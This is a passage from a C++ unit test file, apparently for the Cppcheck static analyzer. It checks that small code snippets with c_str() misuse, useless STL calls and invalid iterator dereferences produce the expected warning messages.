c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t start, std::size_t end, const std::string& i) {\\n\"\n \" s = s.substr(0, start) + i + s.substr(end + 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use replace() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = { s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::list f(std::list l, std::size_t end) {\\n\"\n \" l = { l.begin(), l.begin() + end };\\n\"\n \" return l;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'l' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string{ s.begin(), s.begin() + end };\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, std::size_t end) {\\n\"\n \" s = std::string(s.begin(), s.begin() + end);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 's' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n\n check(\"std::vector f(std::vector v, std::size_t end) {\\n\"\n \" v = std::vector(v.begin(), v.begin() + end);\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (performance) Inefficient constructor call: container 'v' is assigned a partial copy of itself. Use erase() or resize() instead. [uselessCallsConstructor]\\n\",\n errout_str());\n }\n\n void stabilityOfChecks() {\n // Stability test: 4684 cppcheck crash in template function call.\n check(\"template\\n\"\n \"class EffectivityRangeData {};\\n\"\n \"template\\n\"\n \"class EffectivityRange {\\n\"\n \" void unite() {\\n\"\n \" x < vector < EffectivityRangeData> >();\\n\"\n \" EffectivityRange er;\\n\"\n \" }\\n\"\n \" void shift() { EffectivityRangeData::iterator it; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator() {\n // Test simplest \"if\" with && case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if(foo) { bar(); }\\n\"\n \" else if (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test suggested correction doesn't report an error\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if (i != str.end() && std::isalpha(*i)) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"while\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" do {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" } while (std::isalpha(*i) && i != str.end());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:27]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(!std::isalpha(*i) || i == str.end())) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test fix for \"while\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (!(i == str.end() || !std::isalpha(*i))) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test \"for\" with \"&&\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) && i != str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test \"for\" with \"||\" case\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (; std::isalpha(*i) || i == str.end() ;) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that a dereference outside the condition part of a \"for\"\n // loop does not result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" for (char c = *i; isRunning && i != str.end() ;) {\\n\"\n \" std::cout << c;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test that other \"&&\" terms in the condition don't invalidate the check\n check(\"void foo(char* c, std::string::iterator& i) {\\n\"\n \" if (*c && std::isalpha(*i) && i != str.end()) {\\n\"\n \" std::cout << *i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:28]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that dereference of different variable doesn't trigger a false positive\n check(\"void foo(const char* c, std::string::iterator& i) {\\n\"\n \" if (std::isalpha(*c) && i != str.end()) {\\n\"\n \" std::cout << *c;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Test case involving \"rend()\" instead of \"end()\"\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" while (std::isalpha(*i) && i != str.rend()) {\\n\"\n \" std::cout << *i;\\n\"\n \" i ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n // Test that mixed \"&&\" and \"||\" don't result in a false positive\n check(\"void foo(std::string::iterator& i) {\\n\"\n \" if ((i == str.end() || *i) || (isFoo() && i != str.end())) {\\n\"\n \" std::cout << \\\"foo\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector ::iterator i = std::end(v);\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (error) Dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::vector ::iterator i = std::begin(v);\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:8]: (error) Dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *i=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: (warning) Possible dereference of an invalid iterator: i [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i+1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"void f(std::vector v, bool b) {\\n\"\n \" std::vector ::iterator i = v.begin();\\n\"\n \" if (b)\\n\"\n \" i = v.end();\\n\"\n \" *(i-1)=0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Possible dereference of an invalid iterator: i-1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"int f(std::vector v, int pos) {\\n\"\n \" if (pos >= 0)\\n\"\n \" return *(v.begin() + pos);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector v, int i) {\\n\"\n \" auto it = std::find(v.begin(), v.end(), i);\\n\"\n \" if (it != v.end()) {}\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12] -> [test.cpp:4:13]: (warning) Either the condition 'it!=v.end()' is redundant or there is possible dereference of an invalid iterator: it. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:27]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:35]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:25]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i. [derefInvalidIteratorRedundantCheck]\\n\"\n \"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && *i == *(i+1)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:3:33]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. 